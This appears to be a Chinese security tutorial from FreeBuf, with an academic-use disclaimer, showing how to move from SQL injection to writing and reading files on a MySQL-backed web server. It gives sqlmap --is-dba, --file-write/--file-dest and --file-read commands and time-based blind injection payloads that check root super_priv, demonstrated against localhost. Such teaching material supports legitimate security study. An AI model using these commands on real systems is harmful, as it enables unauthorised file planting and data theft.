左半ming
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

注:本文章只用于学术交流,若利用本文章进行非法网络攻击,与本人无关。本文用到的测试案例,并无真实的攻击行为,望各大网友遵纪守法。
一、前提条件
1、存在SQL注入的网站,并进行常规的SQL注入
2、需要明确目标网站的绝对路径(可尝试报错的方式得到)
3、需要判断目标网站的注入的SQL权限是否为dba权限
二、实战演练
注:因为主要是注入文件,所以常规的SQL注入在这里就不演示了
1、通过注入时,报错得到了绝对路径,可尝试进行注入文件
2、判断目标网站是否为dba权限,只有dba权限才能注入文件;进行查询的时候,回显的是true则为是,false则不是不能注入进去。
输入语句:python sqlmap.py -u "127.0.0.1?ID=1" --is-dba --batch//进行自动判断
注:也通过注入语句进行判断是否为dba权限
payload:
?ID=1 AND (SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1)=0x59)THEN 1 ELSE 0 END)) --+
利用if函数进行判断,看是否执行
?ID=1 AND if( (SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=0x726f6f74 LIMIT 0,1)=0x59)THEN 1 ELSE 0 END)),sleep(5),1) --+
判断dba权限,执行成功
利用if函数进行延时注入判断,延时执行成功则判断确实是dba权限
3、在本机下创建一个要注入的文件,如在我本机D盘下创建一个名为【123.txt】的文件,里面内容为hello
利用【--file-write】参数【--file-dest】参数,对目标网站的绝对路径下注入写好的文件
输入语句:
python sqlmap.py -u "127.0.0.1?ID=1" --file-write=D:\1233.txt --file-dest E:\phptemp\1233.txt --batch
//--file-write=文件的绝对路径是本机要注入文件的绝对路径 --file-dest 目标网站的绝对路径+注入的文件名
4、在目标网站下注入写好的文件,所以可用【--file-read】参数进行读取文件,用sqlmap工具可以看到,读取到文件的路径,我们在本机上输入这个路径进行查找就会得到这个文件
输入语句:
python sqlmap.py -u "127.0.0.1?ID=1" --file-read E:\phptemp\1233.txt --batch
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)